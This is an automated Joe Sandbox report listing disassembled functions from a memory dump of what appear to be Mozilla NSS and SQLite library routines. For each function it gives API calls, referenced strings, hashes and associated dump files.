API ID: CriticalSection$EnterLeavesqlite3_initialize$memsetsqlite3_freesqlite3_snprintfsqlite3_uri_parameterstrlen
String ID: %s-shm$readonly_shm$winFileSize$winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 3867263885-4021692097
Opcode ID: 6630a2327d7812b12228741fb67449f34521f210ac8431363cfa2b83c6fbbd89
Instruction ID: 27b66779523854b1477f61490ecf33391cd3e36873786472e730f7a5fe65ba5a
Opcode Fuzzy Hash: 6630a2327d7812b12228741fb67449f34521f210ac8431363cfa2b83c6fbbd89
Instruction Fuzzy Hash: 4F12DC71A042019FEB28CF25E988A6A77F1FF89318F14453CE8059BB51DB34E956CBD2

Function 6C71A7D0 Relevance: 28.2, APIs: 5, Strings: 8, Instructions: 5451COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C71A973

Strings

at most %d tables in a join, xrefs: 6C71B630
gfff, xrefs: 6C71ED41
SCAN CONSTANT ROW, xrefs: 6C71B01D
too many arguments on %s() - max %d, xrefs: 6C71EB2D
INDEX %d, xrefs: 6C71D786
N, xrefs: 6C71AD0F
MULTI-INDEX OR, xrefs: 6C71D6E6
abbreviated query algorithm search, xrefs: 6C71B3BF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memset
String ID: N$INDEX %d$MULTI-INDEX OR$SCAN CONSTANT ROW$abbreviated query algorithm search$at most %d tables in a join$gfff$too many arguments on %s() - max %d
API String ID: 2221118986-452224314
Opcode ID: 9ee43a24741d5420b07a08c7ad4c4a35e4396da63e3506cbf490ee9ebae129c8
Instruction ID: b20ed5deabd91bbf01c6b1e19582db852ccc9f449bc5349c191d3d8853d8a288
Opcode Fuzzy Hash: 9ee43a24741d5420b07a08c7ad4c4a35e4396da63e3506cbf490ee9ebae129c8
Instruction Fuzzy Hash: 0DB34C7460C3418FD315CF19C684B5AB7F2BF89318F188A6DE8998BB51D735E846CB82

Function 6C7CA730 Relevance: 27.4, APIs: 18, Instructions: 378memorystringCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7CA778

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

Part of subcall function 6C7CB990: PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6C7CA78B,?), ref: 6C7CB9A4
Part of subcall function 6C7CB990: PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6C7CB9B5
Part of subcall function 6C7CB990: PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6C7CB9D9
Part of subcall function 6C7CB990: PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6C7CB9EC
Part of subcall function 6C7CB990: PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C7CBA0A

Part of subcall function 6C7CA3F0: PORT_ArenaMark_Util.NSS3(?), ref: 6C7CA43E
Part of subcall function 6C7CA3F0: PORT_ArenaMark_Util.NSS3(FFFFFFFF,?,?,?,?,?,?,00000000,?,-0000001C,?,6C7CA7B5,?), ref: 6C7CA457
Part of subcall function 6C7CA3F0: PORT_ArenaAlloc_Util.NSS3(FFFFFFFF,00000018,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6C7CA7B5,?), ref: 6C7CA464
Part of subcall function 6C7CA3F0: SECOID_FindOIDByTag_Util.NSS3(000000A8,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6C7CA7B5,?), ref: 6C7CA48D
Part of subcall function 6C7CA3F0: SECITEM_CopyItem_Util.NSS3(FFFFFFFF,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6C7CA49F
Part of subcall function 6C7CA3F0: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6C7CA4B2

PORT_ArenaMark_Util.NSS3(?), ref: 6C7CA7FC
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C7CA891
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C7CA8AF
PORT_ArenaAlloc_Util.NSS3(?,00000038), ref: 6C7CA8C0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7CA967
PK11_GetInternalKeySlot.NSS3 ref: 6C7CA981
PK11_FindKeyByAnyCert.NSS3(00000000,?), ref: 6C7CA9A1
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C7CA9DA
PORT_ArenaAlloc_Util.NSS3(?,00000028), ref: 6C7CAA04
SECKEY_DestroyEncryptedPrivateKeyInfo.NSS3(?,00000001), ref: 6C7CAA45
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7CAA70
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7CAAE3
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C7CAB10
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7CAB7D
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C7CABD8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7CAC0F

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Error$Arena_K11_Mark_$DestroyFindFreePrivate$Cert$CopyCriticalEncryptedEnterHashInfoInternalItem_SectionSlotTag_UnlockValuestrlen
String ID:
API String ID: 4141365096-0
Opcode ID: fa4cdff11a927e282c8bb0efe6cf89aa4d102ba48fbdd9df8c1f68a6313284ab
Instruction ID: 506e50d3a09d54487041f3f9bd4ff7585dc7b5db03bb3fa86282124f1a489da4
Opcode Fuzzy Hash: fa4cdff11a927e282c8bb0efe6cf89aa4d102ba48fbdd9df8c1f68a6313284ab
Instruction Fuzzy Hash: 3ED1B071B00302AFEB00CF14DA49B9A7BA5AF9436DF148638E8589B791E731D954CB93

Function 6C75EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75EF63

Part of subcall function 6C7687D0: PORT_NewArena_Util.NSS3(00000800,6C75EF74,00000000), ref: 6C7687E8
Part of subcall function 6C7687D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C75EF74,00000000), ref: 6C7687FD
Part of subcall function 6C7687D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C76884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C75F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C75F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C75F374
PL_strcasecmp.NSS3(6C8A2FD4,?), ref: 6C75F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C75F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C75F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C75F67D
CERT_DestroyName.NSS3(?), ref: 6C75F68B

Part of subcall function 6C768320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C768338
Part of subcall function 6C768320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C768364
Part of subcall function 6C768320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C76838E
Part of subcall function 6C768320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7683A5
Part of subcall function 6C768320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7683E3

Part of subcall function 6C7684C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C7684D9
Part of subcall function 6C7684C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C768528

Part of subcall function 6C768900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C75F599,?,00000000), ref: 6C768955

Strings

oid., xrefs: 6C75F2CF
*, xrefs: 6C75F3C6
", xrefs: 6C75F21B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 6cc646bfff64f250c5fa507cfcbc861e7e8d9c726920ad35cb42bb33dff4756a
Instruction ID: 8b62315635a9ab22addac1dbfae59c6480382c9848778013b422a9ff58961c01
Opcode Fuzzy Hash: 6cc646bfff64f250c5fa507cfcbc861e7e8d9c726920ad35cb42bb33dff4756a
Instruction Fuzzy Hash: 7B2239716083414BE710CE28C69076AB7E6EB85358F988A3EE495C7B96EF319C15C783

Function 6C7BA5E0 Relevance: 23.1, APIs: 15, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b25ca75e16733f153ed5832d6d4c5c114331a71d7a88f63b961fbc11552b3f4
Instruction ID: 75d08983b3bb7416c0698adbb09c68eb532986668b56c437f1c366f124b5975a
Opcode Fuzzy Hash: 1b25ca75e16733f153ed5832d6d4c5c114331a71d7a88f63b961fbc11552b3f4
Instruction Fuzzy Hash: AC127F70D082584FCB25DE38CA917ED77F1AF4A338F2841FAC599B7A41D2319985CB91

Function 6C790570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6C7905E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C79060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6C79061A
PK11_PubDeriveWithKDF.NSS3 ref: 6C790712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C790740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C790760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C7907AE
PK11_FreeSymKey.NSS3(?), ref: 6C7907BC
PK11_FreeSymKey.NSS3(?), ref: 6C7907D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C7907DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7907EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6C7907F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C79082F
memcpy.VCRUNTIME140(?,?,?), ref: 6C7908A9
SECITEM_DupItem_Util.NSS3(?), ref: 6C7908D0

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: e7cc5a34c43f927284cb9719981c2d603676a1c1f8217575d3988b372adba2c5
Instruction ID: f9411058c1d00333f413735057505b6c127a9769eb26cedb7cba40f84705a3ce
Opcode Fuzzy Hash: e7cc5a34c43f927284cb9719981c2d603676a1c1f8217575d3988b372adba2c5
Instruction Fuzzy Hash: 4691F471A143409BEB00CF29EE48B5B77F1EF88318F148A2CE98987751EB31D854CB92

Function 6C7CEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C7CDAE2,?), ref: 6C7CC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7CF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7CF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C7CF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7CF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C89218C), ref: 6C7CF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C7CF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7CF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C7CF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C7CF210

Part of subcall function 6C7752D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C7CF1E9,?,00000000,?,?), ref: 6C7752F5
Part of subcall function 6C7752D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C77530F
Part of subcall function 6C7752D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C775326
Part of subcall function 6C7752D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C7CF1E9,?,00000000,?,?), ref: 6C775340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7CF227

Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C7CF23E

Part of subcall function 6C7BBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C76E708,00000000,00000000,00000004,00000000), ref: 6C7BBE6A
Part of subcall function 6C7BBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7704DC,?), ref: 6C7BBE7E
Part of subcall function 6C7BBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C7BBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C7CF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7CF3A8

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C7CF3B3

Part of subcall function 6C772D20: PK11_DestroyObject.NSS3(?,?), ref: 6C772D3C
Part of subcall function 6C772D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C772D5F

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: ff70209b2b5c3153fd0d011b74cf02d7231b59b6c0eb0561baffcf4522e26d65
Instruction ID: 21846d54e960c1f8c136df1f0f74d5fece917becf62d83506d01c446451658c2
Opcode Fuzzy Hash: ff70209b2b5c3153fd0d011b74cf02d7231b59b6c0eb0561baffcf4522e26d65
Instruction Fuzzy Hash: 41D18DB6F012069FDB14CFA9DA84A9EB7B5EF48308F158039ED15A7711E731E805CB51

Function 6C6EECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C6EEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EF483
%s at line %d of [%.10s], xrefs: 6C6EF492
database corruption, xrefs: 6C6EF48D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: fa34df92c7a75ab62cf6a63e357d665e6f210abd651c56a3c04f17a19da5199b
Instruction ID: 6d1ffce69459588f25a6718cd0a2b55d72c02823771249a20626a295195d6a2a
Opcode Fuzzy Hash: fa34df92c7a75ab62cf6a63e357d665e6f210abd651c56a3c04f17a19da5199b
Instruction Fuzzy Hash: 11623430A0A245CFDB14CF64D48079ABBF1BF4D318F18419AD8555BB92D731E886CBDA

Function 6C790EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C790F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C790FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C791006
PK11_FreeSymKey.NSS3(?), ref: 6C79101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C791033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C79103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C791048
memcpy.VCRUNTIME140(?,?,?), ref: 6C79108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7910BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7910D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C79112E

Part of subcall function 6C791570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7908C4,?,?), ref: 6C7915B8
Part of subcall function 6C791570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7908C4,?,?), ref: 6C7915C1
Part of subcall function 6C791570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79162E
Part of subcall function 6C791570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C791637

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: a3f4ffb96d5648366d1665e88299a623b8495be01ae9482701da30c7735f6bc5
Instruction ID: 177ef9272907ad827fbf3fba28c5898712f210f9c09f4f6fdfdb177095ec26df
Opcode Fuzzy Hash: a3f4ffb96d5648366d1665e88299a623b8495be01ae9482701da30c7735f6bc5
Instruction Fuzzy Hash: 727114B5A002058FDB10CFA9EE85A6AB7F8FF48318F14863CE50997711E732D964CB90

Function 6C74C650 Relevance: 16.5, APIs: 7, Strings: 2, Instructions: 760COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 6C74D104
0123456789abcdef, xrefs: 6C74C859

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 0-885041942
Opcode ID: 21eb0d0cde2f15ebc9be35841d3bf42832bd0ebb6cf707425300e9adab50f0d5
Instruction ID: a7506aad598a0712a12ae87ea87c2ecd50f1f261be5171a2a4093c54fc5e08ab
Opcode Fuzzy Hash: 21eb0d0cde2f15ebc9be35841d3bf42832bd0ebb6cf707425300e9adab50f0d5
Instruction Fuzzy Hash: 6C5201306483019FD714DF28C69076ABBE2AFC6359F18CA2DE8D587751E735D84ACB82

Function 6C838550 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 528stringCOMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000021B,recovered %d pages from %s,00000000,?), ref: 6C8385CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C8386CA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C83875F
memset.VCRUNTIME140(?,00000000,?), ref: 6C83893A
sqlite3_free.NSS3(?), ref: 6C838977
sqlite3_free.NSS3 ref: 6C8389A5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C838B68
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C838B79

Strings

recovered %d pages from %s, xrefs: 6C8385C2

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@sqlite3_free$memsetsqlite3_logstrcmpstrlen
String ID: recovered %d pages from %s
API String ID: 1138475946-1623757624
Opcode ID: b75a46edb1c55bbfcb8092faa3bac3dda564ead11ba9399df31571d5406be4f0
Instruction ID: 337b4a8fd4a758f57e66ae5f87416a3d16e582acb842a3c5ff86f8d0521bad0d
Opcode Fuzzy Hash: b75a46edb1c55bbfcb8092faa3bac3dda564ead11ba9399df31571d5406be4f0
Instruction Fuzzy Hash: CF1237706083119FD714CF68C984A6BB7F5AF89308F04AD2EE99AC7751E734E845CB92

Function 6C7B6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C761C6F,00000000,00000004,?,?), ref: 6C7B6C3F

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C761C6F,00000000,00000004,?,?), ref: 6C7B6C60
PR_ExplodeTime.NSS3(00000000,6C761C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C761C6F,00000000,00000004,?,?), ref: 6C7B6C94

Strings

gfff, xrefs: 6C7B6D9C
gfff, xrefs: 6C7B6D30
gfff, xrefs: 6C7B6CF5
gfff, xrefs: 6C7B6CFD
gfff, xrefs: 6C7B6D66

Memory Dump Source

